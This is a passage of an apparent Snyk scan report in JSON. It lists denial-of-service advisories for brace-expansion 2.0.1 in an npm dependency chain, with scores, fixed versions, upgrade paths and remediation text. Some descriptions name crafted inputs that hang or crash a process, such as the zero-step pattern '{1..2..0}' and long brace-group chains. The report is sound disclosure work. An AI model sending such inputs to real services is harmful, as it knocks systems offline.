"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
